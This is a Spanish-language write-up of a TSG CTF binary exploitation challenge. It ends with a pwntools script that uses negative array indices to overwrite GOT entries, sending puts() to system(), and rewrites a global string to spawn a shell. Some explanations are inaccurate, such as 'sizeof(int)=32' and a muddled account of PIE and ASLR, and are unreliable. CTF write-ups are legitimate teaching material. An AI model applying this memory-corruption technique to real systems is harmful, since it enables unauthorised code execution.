Un viernes por la tarde, tras estar toda la tarde estudiando, busque un CTF en el que participar. El primero que encontré relevante, fue el TSG CTF, en ctftime.org.
Fui directo al apartado de explotación binaria, que sorprendentemente tenia bastantes solves, y intente el primer reto, este. Di por hecho que seria el típico Stack overflow, o una redirección del programa ya hecha, en la que solo tenias que leakear una direccion de memoria. Pero me sorprendio, y aunque fue "sencillo", el cansancio hizo que dos veces cometiera errores tontos que me costaron mucho tiempo. Uno de ellos fue no tener en cuenta que los index de un array de int van de 4 en 4 bytes (sizeof(int)=32), como intentar hacerme el listo y sobreescribir otra función que no hacia falta de la GOT (Global Offset Table), redireccionandola hacia una llamada a puts(), ya sobreescrito anteriormente.
No obstante me gusto mucho el reto y creo, que antes de leer el writeup, una persona que no sepa nada, podria intentar cosas sueltas (buscar el vector de ataque para sobreescribir memoria, investigar, etc...)
Para comenzar, siguiendo el proceso desde el principio, vamos a abrir con GDB nuestro archivo. Yo tengo GEX con GDB, para que me muestre mas información y sea mas facil interactuar a la hora de vulnerar o hacer reversing de ELF. Además, para la documentacion voy a usar casi unicamente el codigo fuente que viene, aunque yo use, y me senti mas cómodo con el ensamblador directamente de la función edit.
En este archivo tenemos simbolos, pero si no los tuvieramos y tampoco el .c, podriamos, por ejemplo, si tenemos secciones, usar objdump -d -j .text, para ver las funciones, ver los offset, y poner breakpoints para ya hacer todo de forma dinámica. Recomiendo de nuevo, el uso de GEX para estas cosas, ya que esto mismo con GDB habria sido mucho mas complejo.
Empezamos, y en la primera linea ya tenemos información valiosísima. El archivo esta con --fno-stack-protector (stack canary), y tenemos RELRO parcial, cosa que yo no sabia leerla solamente con el gcc y si lo sabes te da muchas pistas sobre como se debe hacer el exploit. Ademas, super importante, no tiene PIE, que es importante diferenciar y entender las diferencias entre PIE y ASLR. Vamos a detenernos por un momento y a explicarlas rapidamente:
El PIE, es basicamente el conjunto de cosas necesarias para que el codigo se pueda ejecutar desde la pagina (memoria fisica o virtual) 8 o la 56. Normalmente lo hace, y lo veremos mucho, con PC+Direccion relativa. Sin PIE no es posible ASLR. No obstante, todo esto no quita que nuestro stack por ejemplo, si puede estar donde quiera, igual que el heap.
Ahora, con esta informacion voy a ir al grano en directamente el exploit. El vector de ataque esta bastante claro:

El como esta claro... pero la cuestion esta ¿Ahora que hacemos?, porque claro, tenemos una llamada a system(), pero obviamente su String va a estar en una seccion protegida contra ejecucion y escritura, y asi es. Tal vez si podriamos sobreescribir el return de la función, dado que podemos escribir donde queramos, y es otra manera de hacerlo (creo). La nuestra no es ni mas facil ni mas dificil, pero desde luego mas curiosa.
Sabemos que values se encuentra en la sección global del programa, al igual que otras variables, y que mas se encuentra cerca? efectivamente, la GOT (global offset table), que gracias al relro parcial, es sobreescribible, si fuera total, no podriamos.
El siguiente paso es el que uno debia ver y puede llevar tiempo, en mi caso no tarde mucho, y es el de ver, si hemos programado en C (o no porque en el codigo se ve), que tanto puts() como system() ¡toman un mismo argumento!. Por convencion de argumentos sabemos que lo haran a traves del mismo registro, y ademas, es el mismo formato (char *). Por tanto, la idea es hacer que la entrada de puts() apunte a la misma que system().

Ahora, probamos pasandole al programa como argumento de posición del array -40, para posteriormente rellenarlo con un 0 (como prueba)
Ademas, el argumento que se le pasa a puts en un punto dado del programa, es una cadena tambien global que es Update Complete. Deberemos sobreescribir tambien esta cadena para poder poner nuestra shell /bin/bash simplemente.
Por ahora queda asi lo que llevamos:
- Modificar la entrada GOT de puts -> system, pasandole -40 al programa como index.
- Modificar tambien la String de msg (luego explicare como), para que sea /bin/bash
- Forzar que llegue a llamar a puts
Ahora toca hacer todo realidad. Yo use pwntools para automatizar el proceso, pero no es tan largo como para que sea un requisito obligatorio.
La idea es:
- Enviar linea con offset (int) hasta GOT->puts(), importante como entero.
- Enviar la misma direccion a la que apunta system(), que es 0x401070 (decimal)
- Enviar el offset hasta msg (podemos ver direccion de msg con gdb en disass edit, por ejemplo)
- Sobreescribir puntero con puntero a nuestra cadena (que guardaremos en nuestro legitimo buffer values), mas especificamente desde la posicion 0.
- Enviar primeros 4 bytes de la cadena de caracteres, haremos lo siguiente: para ABAB, como ejemplo, cogemos sus bytes: 0x41424142, ahora tenemos en cuenta el little endian , y queda 0x42414241, ahora, convertimos ese numero a decimal, y ya!.
- Iterar y hacer el mismo paso con offset-1 (direcciones crecen hacia FFF)
- Pasarle -1 como index
Y ya esta, esos son los pasos, asi queda el script:
5 valor_Fsystem = 0x401070
6 valor_llamada_puts = 0x40130f
7 inicio_buffer = 0x4040c0
8 inicio_msg = 0x404068
9 bloques_string = [1852400175, 6845231, 1714381932, 778527084, 7633012]
10
11
12 offset_msg = inicio_buffer-inicio_msg
13
14 #Enviar el offset hasta la entrada de puts() en GOT
15 #Offset PUTS()-buffer=160(decimal) -> 1 int = 4 bytes
16 a.sendline('-40'.encode())
17
18
19 #Sobreescribir puts() con system()
20 a.sendline(str(valor_Fsystem).encode())
21
22 #Enviar el offset hasta la entrada de exit() en GOT
23 #0x4040c0-0x404050=112(decimal)/4=28
24 a.sendline('-28'.encode())
25
26 #sobreescribir exit() con llamada a puts()
27 a.sendline(str(valor_llamada_puts).encode())
28
29 #hacer que msg apunte al principio del buffer
30 a.sendline('-22'.encode())
31 a.sendline(str(inicio_buffer))
32
33
34 a.sendline('0'.encode())
35 a.sendline(str(bloques_string[0]).encode())
36 a.sendline('1'.encode())
37 a.sendline(str(bloques_string[1]).encode())
38 a.sendline('2'.encode())
39 a.sendline(str(bloques_string[2]).encode())
40 a.sendline('3'.encode())
41 a.sendline(str(bloques_string[3]).encode())
42 a.sendline('4'.encode())
43 a.sendline(str(bloques_string[4]).encode())
48 a.sendline("-1".encode())
49 a.interactive()

